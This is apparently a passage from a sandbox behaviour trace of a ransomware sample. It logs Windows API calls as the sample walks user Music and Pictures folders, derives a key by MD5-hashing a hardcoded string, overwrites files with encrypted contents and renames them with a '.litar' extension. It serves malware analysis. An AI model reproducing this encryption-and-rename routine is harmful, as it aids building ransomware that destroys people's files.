lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.092] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1589c, lpOverlapped=0x0) returned 1 [0126.092] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.093] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.093] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.093] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.093] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.093] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.093] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.093] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.093] GetLastError () returned 0x0 [0126.094] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.094] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x158a0) returned 0x30fa0b0 [0126.094] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.094] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15897, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15897, lpOverlapped=0x0) returned 1 [0126.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.094] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1589c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.095] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.095] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.095] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.095] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.095] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.095] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.095] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.095] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.095] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.095] CloseHandle (hObject=0x624) returned 1 [0126.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.096] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\mt-NxS9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\mt-nxs9.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\mt-NxS9.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\mt-nxs9.m4a.litar")) returned 1 [0126.097] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.097] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.098] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8c696f0, ftCreationTime.dwHighDateTime=0x1d4c735, ftLastAccessTime.dwLowDateTime=0xd4b12ae0, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0xd4b12ae0, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJf_dR", cAlternateFileName="")) returned 1 [0126.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0630 [0126.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a01f0 [0126.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0630 | out: hHeap=0x5c0000) returned 1 [0126.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.098] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb2d2a0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0xf436f650, ftLastAccessTime.dwHighDateTime=0x1d4d389, ftLastWriteTime.dwLowDateTime=0xf436f650, ftLastWriteTime.dwHighDateTime=0x1d4d389, nFileSizeHigh=0x0, nFileSizeLow=0x8051, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_US29v3kaQayesknOB.wav", cAlternateFileName="_US29V~1.WAV")) returned 1 [0126.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\_US29v3kaQayesknOB.wav") returned=".wav" [0126.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\_US29v3kaQayesknOB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\_us29v3kaqayesknob.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.099] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=32849) returned 1 [0126.099] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.101] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x802b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.101] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.102] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.102] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8051, lpOverlapped=0x0) returned 1 [0126.103] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.103] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.103] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.103] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.103] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.104] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.104] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.104] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.104] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.104] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.104] GetLastError () returned 0x0 [0126.104] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.104] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.104] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.104] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8050) returned 0x30fa0b0 [0126.104] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.104] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.104] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x804c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x804c, lpOverlapped=0x0) returned 1 [0126.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.105] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8051, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.105] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.105] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.105] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.105] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.105] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.105] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.105] CloseHandle (hObject=0x624) returned 1 [0126.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\_US29v3kaQayesknOB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\_us29v3kaqayesknob.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\_US29v3kaQayesknOB.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\_us29v3kaqayesknob.wav.litar")) returned 1 [0126.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.106] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.108] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb2d2a0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0xf436f650, ftLastAccessTime.dwHighDateTime=0x1d4d389, ftLastWriteTime.dwLowDateTime=0xf436f650, ftLastWriteTime.dwHighDateTime=0x1d4d389, nFileSizeHigh=0x0, nFileSizeLow=0x8051, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_US29v3kaQayesknOB.wav", cAlternateFileName="_US29V~1.WAV")) returned 0 [0126.108] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0126.109] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0126.109] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.110] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\") returned="71f4 4SP91MVI3\\" [0126.110] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.110] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.110] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.110] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.110] PathFindFileNameW (pszPath="") returned="" [0126.110] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbc2780, ftCreationTime.dwHighDateTime=0x1d4c79f, ftLastAccessTime.dwLowDateTime=0x3492e020, ftLastAccessTime.dwHighDateTime=0x1d4cecf, ftLastWriteTime.dwLowDateTime=0x3492e020, ftLastWriteTime.dwHighDateTime=0x1d4cecf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.110] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbc2780, ftCreationTime.dwHighDateTime=0x1d4c79f, ftLastAccessTime.dwLowDateTime=0x3492e020, ftLastAccessTime.dwHighDateTime=0x1d4cecf, ftLastWriteTime.dwLowDateTime=0x3492e020, ftLastWriteTime.dwHighDateTime=0x1d4cecf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.110] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b34c20, ftCreationTime.dwHighDateTime=0x1d4d4e6, ftLastAccessTime.dwLowDateTime=0x60b36390, ftLastAccessTime.dwHighDateTime=0x1d4ca84, ftLastWriteTime.dwLowDateTime=0x60b36390, ftLastWriteTime.dwHighDateTime=0x1d4ca84, nFileSizeHigh=0x0, nFileSizeLow=0x17aee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pakuYqh.png", cAlternateFileName="")) returned 1 [0126.110] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\pakuYqh.png") returned=".png" [0126.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\pakuYqh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\71f4 4sp91mvi3\\pakuyqh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.111] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=97006) returned 1 [0126.111] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.112] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17ac8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.112] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.114] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x17aee, lpOverlapped=0x0) returned 1 [0126.115] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.115] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.115] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.115] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.116] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.116] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.116] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.116] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.116] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.116] GetLastError () returned 0x0 [0126.116] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.116] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.116] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.116] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x17af0) returned 0x30fa0b0 [0126.116] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.116] HeapFree (in: 